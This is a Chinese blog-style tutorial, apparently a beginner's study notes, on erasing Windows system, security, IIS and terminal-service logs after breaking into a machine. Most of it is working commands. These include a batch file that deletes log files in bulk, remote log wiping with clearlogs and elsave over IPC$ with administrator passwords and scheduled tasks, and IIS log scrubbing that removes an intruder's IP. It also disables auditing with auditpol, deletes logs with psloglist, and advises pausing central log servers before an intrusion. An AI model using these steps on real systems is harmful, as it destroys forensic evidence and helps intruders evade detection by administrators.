这几日研究的课题是系统日志的清理,主要参考的书籍是《暗战强人. 黑客攻防实战高级演练》,虽然讲到的技术比较老,但对于刚入门
的我还是收获较大。
在Windows系统中,日志文件通常有应用程序日志、安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等,其扩展名为.log、
.txt。我们先来熟悉下各个日志文件存放的位置及相应的服务。
系统文件所在位置
安全日志:%winsystem%\system32\config\Secevent.evt
应用程序日志:%winsystem%\system32\config\AppEvent.evt
系统日志:%winsystem%\system32\config\SysEvent.evt
IIS的FTP日志:%winsystem%\system32\logfiles\msftpsvc1\,默认每天一个日志
IIS的www日志:%winsystem%\system32\logfiles\w3svc1\ 默认每天一个日志
Scheduler服务日志:%winsystem%\schedlgu.txt
注册表所在项目:
[HKLM]\system\CurrentControlSet\Services\Eventlog
Schedluler服务注册表所在项目:
[HKLM]\SOFTWARE\Microsoft\SchedulingAgent
如果日志被从新定位,路径在注册表里面有记录.
熟悉了各个日志存放的路径后,我们可以通过编写个批处理程序来删除日志文件
@del c:\winnt\system32\logfiles\*.* @del c:\winnt\system32\config\*.evt @del c:\winnt\system32\dtclog\*.* @del c:\winnt\system32\*.log @del c:\winnt\system32\*.txt @del c:\winnt\*.txt @del c:\winnt\*.log @del c:\del.bat
对于个别比较系统日志,手动清除并不是明智的选择,我们可以借助第三方工具进行清除,下面介绍几款工具
针对系统日志
clearlogs的使用方法很简单,其命令格式为:
clearlogs [\\computername] <-app / -sec / -sys>。
其中各个参数的含义如下。
-app:应用程序日志。
-sec:安全日志。
-sys:系统日志。
使用clearlogs工具删除事件日志的具体操作步骤如下。
步骤1:在命令提示符窗口中输入”net use \\192.168.0.45\ipc$ “11111″/Aministrator”命令,即可通过建立IPC$连接把clearlogs上传到远程计算机。
步骤2:输入如下任何一种命令清除远程主机上的日志。
clearlogs \\192.168.0.45 -app清除远程计算机的应用程序日志。
clearlogs \\192.168.0.45 -sec清除远程计算机的安全日志。
clearlogs \\192.168.0.45 -sys清除远程计算机的系统日志。
步骤3:为了更安全一点,也可以建立一个批处理文件clear.bat,其具体的内容如下:
@echo off clearlogs -app clearlogs -sec clearlogs -sys del clearlogs.exe del c.bat exit 步骤4:通过"net time"命令查看远程计算机的系统时间,再用"AT 时间 c:\clear.bat"命令建立一个计划任务来执行clearlogs.exe命令。
步骤5:使用”net use \\192.168.0.45\ipc$/del”命令来断开IPC$连接。
无论是本地还是远程清除日志,都可以使用elsave工具来完成。elsave是个清除日志的程序,其作用是远程删除事件查看器中的相关的日志。
其命令格式为:
elsave [-s\\server] [-l log] [-F file] [-C] [-q]
其中各个参数的含义如下。
-s\\server:指定远程计算机。
-l log:指定日志类型,其中参数”application”为应用程序日志,参数”system”为系统日志,参数”security”为安全日志。
-F file:指定保存日志文件的路径。
-C:清除日志操作,注意”-C”要大写。
-q:把错误信息写入日志。
使用elsave删除日志的具体操作步骤如下。
步骤1:在本地命令提示符窗口中输入”net use \\ip\ipc$ “password” /user:”"”命令,即可与远程主机/服务器用IPC$进行连接。
步骤2:在本地命令提示符窗口中分别输入如下命令,即可删除远程计算机中的日志文件。
清除应用程序日志命令:elsave -s\\192.168.0.45 -l application -C。
清除系统日志命令:elsave -s\\192.168.0.45 -l system -C。
清除安全日志命令:elsave -s\\192.168.0.45 -l security -C。
步骤3:在本地命令提示符窗口中输入”net use\\192.168.0.45\ipc$/ del”命令,即可断开IPC$连接。这样黑客便成功地删除了远程主机中的事件日志。
步骤4:另外,也可以编写一个批处理文件clear.bat,具体的内容如下:
net use \\%1\ipc$ %3 /user:%2 elsave -s \\%1 -l "application" -C elsave -s \\%1 -l "system" -C elsave -s \\%1 -l "securtity" -C net use \\%1\ipc$ /del步骤5:把该文件存储到和elsave.exe文件相同的文件夹下之后,在命令提示符窗口中运行"Clear.bat 192.168.0.45 Susan """命令,即可清除远程计算机的日志记录。
批处理每次能处理的变量从%0~%9共10个,其中,%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值。同理,%2~%9指输入的第 2~第9个值。
CleanIISLog是一款常见的日志处理工具,它可以不留痕迹地清除指定的IP连接记录。CleanIISLog只能在本地运行,而且必须具有Administrators权限。
其命令格式为:
cleaniislog [logfile] [.] [cleanIP]
其中各个参数的含义如下。
logfile:清除的日志文件,Logfile用于指定要处理的日志文件,如果指定为”.”,则处理所有的日志文件。
[]中的”.”代表所有清除的日志中那个IP地址记录。
cleanIP用于指定要清除的IP记录,如果指定为”.”,则清除所有的IP记录,但是最好不要这样设置。
最后的”.”代表所有IP记录。
例如,”cleaniislog . 127.0.0.1″的作用是只清除本机的访问记录,而保留其他的IP记录。当清除成功之后,cleanIISLog即可在系统日志中将本身的运行记录清除。
这两个工具都需要你建立ipc连接来完成,那么如果没有ipc怎么办啊。那就是基于wmi(windows 管理规范)来清除
其命令格式为:
dellog.vbs targetIP username password [lognamelist] lognamelist: logname1[,logname2...] clear specified logs *|-a|-all clear all logs -v|-view|NULL enum log names
针对WWW日志
IIS日志保存在%systemroot%\system32\logfiles\下。如果启动了web server的话,那么就会在上述路径下多出一个W3SVC1的文件夹,用
来存储web服务日志。
如果也启动了iis 自带的ftp服务,那么还有会有个MSFTPSVC1的文件夹,里面是ftp的日志。
让我们来看看本地清除,要用到的工具是cleaniis.exe如下:
F:\tools\rizhi>cleaniis iisantidote <logfile dir> <ip or string to hide> iisantidote <logfile dir><ip or string to hide> stop stop opiton will stop iis before clearing the files and restart it after <logfile dir> exemple : c:\winnt\system32\logfiles\w3svc1\ dont forget the \
什么意思呢??我来给大家举个例子吧:
cleaniis c:\winnt\system32\logfiles\w3svc1\ 10.24.9.100
//清除log中所有此IP地址的访问记录.
cleaniis c:\winnt\system32\logfiles\w3svc1\ /shop/admin/
//清除log中所有对此目录的访问记录.
cleaniis c:\winnt\system32\logfiles\w3svc1\ 10.24.9.100 stop
//使用stop参数进行日志清除.
与此类似的还有一个工具如下:
F:\tools\rizhi>clog CleanIISLog Ver 0.1, by Assassin 2001. All Rights Reserved. Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.> LogFile - Specify Log File Which You Want Process. Specified "ALL" Will Process All Log Files. CleanIP - Specify IP Address Which You Want Clear. Specified "." Will Clean All IP Record.
这个跟上面的工具是差不多的,我就不再赘述了我只举个例子:
clog ALL 10.184.19.100 //清楚所有日志里的此IP的记录!~~~~~
IIS日志我还没找到过远程删除的,上面我提到的那个dellog.vbs好象是可以,大家可以测试一下。
终端服务的日志
清空终端服务的日志只有在图形界面控制下去完成了。这是因为终端服务的开启日志的配置的特殊性所造成的。我们还是来讨论讨论
吧。首先要知道如果存在终端服务,如果管理员开启了日志,设置该日志记录的位置会在什么地方。如下图,先打开”终端服务配置”,找
到”连接”里的RDP-tcp。并右击其”属性”
点击”环境”选项卡,看看管理员是否运行了什么用来作日志记录的程序。(记得shotgun写过相关的BAT文件,大家有兴趣的话,可以在网
上查找一下,一定有的。)这是一个会作日志记录的地方。
接下来就是”权限”选项卡里的”高级”选项了。点击进去看一看吧!
点击进去后,。在”审核”选项卡里可以确认是否对某些组,某些帐号配置了审核。不过大家放心这个审核是记录在事件查看器里的。上面
我们已介绍过如何清除了。
好了,据我所知终端服务的日志记录就是在这两个地方配置的。若有遗漏还请大家多多指教啊!谢谢。
提醒大家注意,如果你是通过GUI或终端服务连接对方服务器的话,一定要记住将Documents and Settings里对应登录的帐号文件夹给删
了。可别忘了啊…。
RMDIR [/S] [/Q] [驱动器:]路径
RD [/S] [/Q] [驱动器:]路径
/S 除目录本身外,还将删除指定目录下的所有子目录和 文件。用于删除目录树。
/Q 安静模式,加 /S 时,删除目录树结构不再要求确认
以上的技术个人认为还是存在一些纰漏,例如:很多工具都是通过IPC$连接的,如果完全清除掉日志的话,系统管理员肯定也会发现的,
另外如果部署的有类似KIWI的集中日志管理期的话,还需要在入侵前期暂停其服务,因为即使删除了本地的,远程日志服务器也会记录下
来。在阅读了《黑客大曝光第6版》的时候,个人觉得使用auditpol.exe这个工具关闭审核策略倒是个不错的方法、
这样,我们如果在对该系统肆意操作之前就得先将这些开启的审核全部关闭。目的我不用说大家也该明白。呵呵,接着操作吧。利
用/disable参数来关闭全部。
输入auditpol.exe /disable 来关闭所有的审核。
另外上面演示的是在本地,如果要远程呢??呵呵我们来看看:
F:>net use \\192.168.0.77\ipc$ password /u:administrator 命令成功完成。 F:\>auditpol.exe \\192.168.0.77 /enable /system:all /logon:all /account:success Running ... Audit information changed successfully on \\192.168.0.77 ... New audit policy on \\192.168.0.77 ... System = Success and Failure Logon = Success and Failure Object Access = No Privilege Use = No Process Tracking = No Policy Change = No Account Management = No Directory Service Access = No Account Logon = Success
如果要关闭把上面的enable改成disable就可以了!~~~~~~~~
这个利器当然就是传说中的psloglist.exe工具了,在cmd下输入
psloglist.exe \acceptelua可以防止弹出什么什么协议之类的 psloglist.exe -c security 删除登录日志 psloglist.exe -g security backup.evt 导出登录日志 psloglist.exe -c -g security backup.evt 导出并删除日志 |